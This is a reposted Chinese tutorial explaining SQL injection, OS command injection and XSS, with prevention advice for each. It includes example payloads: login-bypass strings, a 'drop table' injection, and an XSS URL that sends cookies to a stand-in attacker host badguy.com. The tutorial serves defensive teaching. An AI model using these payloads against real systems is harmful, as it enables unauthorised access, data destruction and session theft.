Web很脆弱,SQL注入要了解
来源:互联网 发布:手机怎么显示2g网络 编辑:程序博客网 时间:2024/06/05 10:36
转载自:w3cstudy学习网
SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
通过一下的例子更形象的了解SQL注入:
有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证。验证的SQL语句如下:
select * from student where username='输入的用户名' and password='输入的密码'
如果能够检索到数据,说明验证通过,否则验证不通过。
如果用户在用户名文本框中输入 ' or '1' = '1' or '1' = '1,则验证的SQL语句变成:
select * from student where username='' or '1' = '1' or '1' = '1' and password=''
如果用户在密码文本框中输入 1' or '1' = '1,则验证的SQL语句变成:
select * from student where username='' and password='1' or '1'='1'
以上两个SQL语句的where条件永远是成立的,所以验证永远是有效的。
如果在用户名文本框中输入 tom' ; drop table student-- ,则SQL语句变成:
[sql] view plaincopyprint?
1. select * from student where username='tom' ; drop table student--' and password=''
这样就变成的两条SQL语句,执行完查询操作,接着直接把student表给删除了(双连接符表示注释)
如何防止SQL注入:
1. 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
2. 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取
3. 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
4. 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息
5. 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6. 采用一些工具或网络平台检测是否存在SQL注入
OS命令注入
OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令。
如何防止OS命令注入:
1. 不要调用外部程序。举个例子,在UNIX系统上,有一个叫CGI的程序,可以执行sendmail命令来发送邮件。也许你的web应用程序也有发送邮件的功能,通过直接调用CGI程序发送邮件非常的简单,但是不要这样做,因为在执行sendmail命令的同时,也会混杂进其他OS命令,正确的做法是使用发送邮件的library。
2. 过滤调 、; ,[ ,] ,| ,< ,> ,\ 之类的符号
3. 设置用户的权限
XSS跨站脚本攻击
XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的,比如获取用户的Cookie,导航到恶意网站,携带木马等。
XSS攻击场景有以下两个方面:
1. Dom-Based XSS 漏洞。攻击过程如下
Tom 发现了Victim.com中的Search.asp页面有XSS漏洞,Search.asp的代码如下:
1.
2.
3.
4. Results for <%Reequest.QueryString("term")%>
5. ...
6.
7.
Tom 先建立一个网站http://badguy.com,用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下),通过某种方式(邮件,QQ)发给Monica
http://victim.com/search.asp?term=《script》window.open("http://badguy.com?cookie="+document.cookie)《script》
Monica点击了这个URL,嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行,那么Monica在victim.com网站的cookie,就会被发送到badguy网站中,这样Monica在victim.com 的信息就被Tom盗了
2. Stored XSS(存储式XSS漏洞)。该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。
攻击过程如下
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,于是Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户。
如何防止XSS跨站脚本攻击:
原则:不相信用户输入的数据
注意:攻击代码不一定在《script》《script》中
1. 将重要的cookie标记为http only,这样的话Javascript 中的document.cookie语句就不能获取到cookie了
2. 只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字,而数字之外的字符都过滤掉
3. 对数据进行Html Encode 处理。< 转化为 <、> 转化为 >、& 转化为 &、' 转化为 '、" 转化为 "、空格 转化为
- Web很脆弱,SQL注入要了解
- Web很脆弱,SQL注入要了解
- Web很脆弱,SQL注入要了解
- Web的脆弱性:各种注入、攻击
- Web的脆弱性:各种注入、攻击
- Web的脆弱性:各种注入、攻击
- SQL注入的了解
- SQL注入初了解
- 代码脆弱性防范指引-SQL注入防范
- web安全:SQL注入
- web安全:SQL注入
- WEB安全:SQL注入
- Web SQL注入攻击
- 目前Web攻击只了解SQL注入,跨站攻击,准备写篇文章做个纪念
- 了解一下SQL注入攻击的原理
- 关于sql 注入,你了解多少?
- Web安全初探-SQL注入
- java web sql注入漏洞
- [绍棠] iOS视频播放AVPlayer的视频内容拉伸设置
- uboot中ethernet网口实现分析
- TextView部分文字可点击
- SQL语句分析点滴
- 滚动条 ScrollView与Listview 嵌套 无滚动条实现滚动
- Web很脆弱,SQL注入要了解
- Android 的进阶知识点之一Activity ANR产生原因和解决办法
- 使用Python3和BeautifulSoup爬取笑话网站内容,并导入Excel
- http通信doGet与doPost方式小例子
- 关于AsyncTask如何并发请求网络
- 文章标题
- java.lang.String hashCode方法
- 新打开的窗口,充满屏幕
- LoadingDotView:一个跑马灯加载控件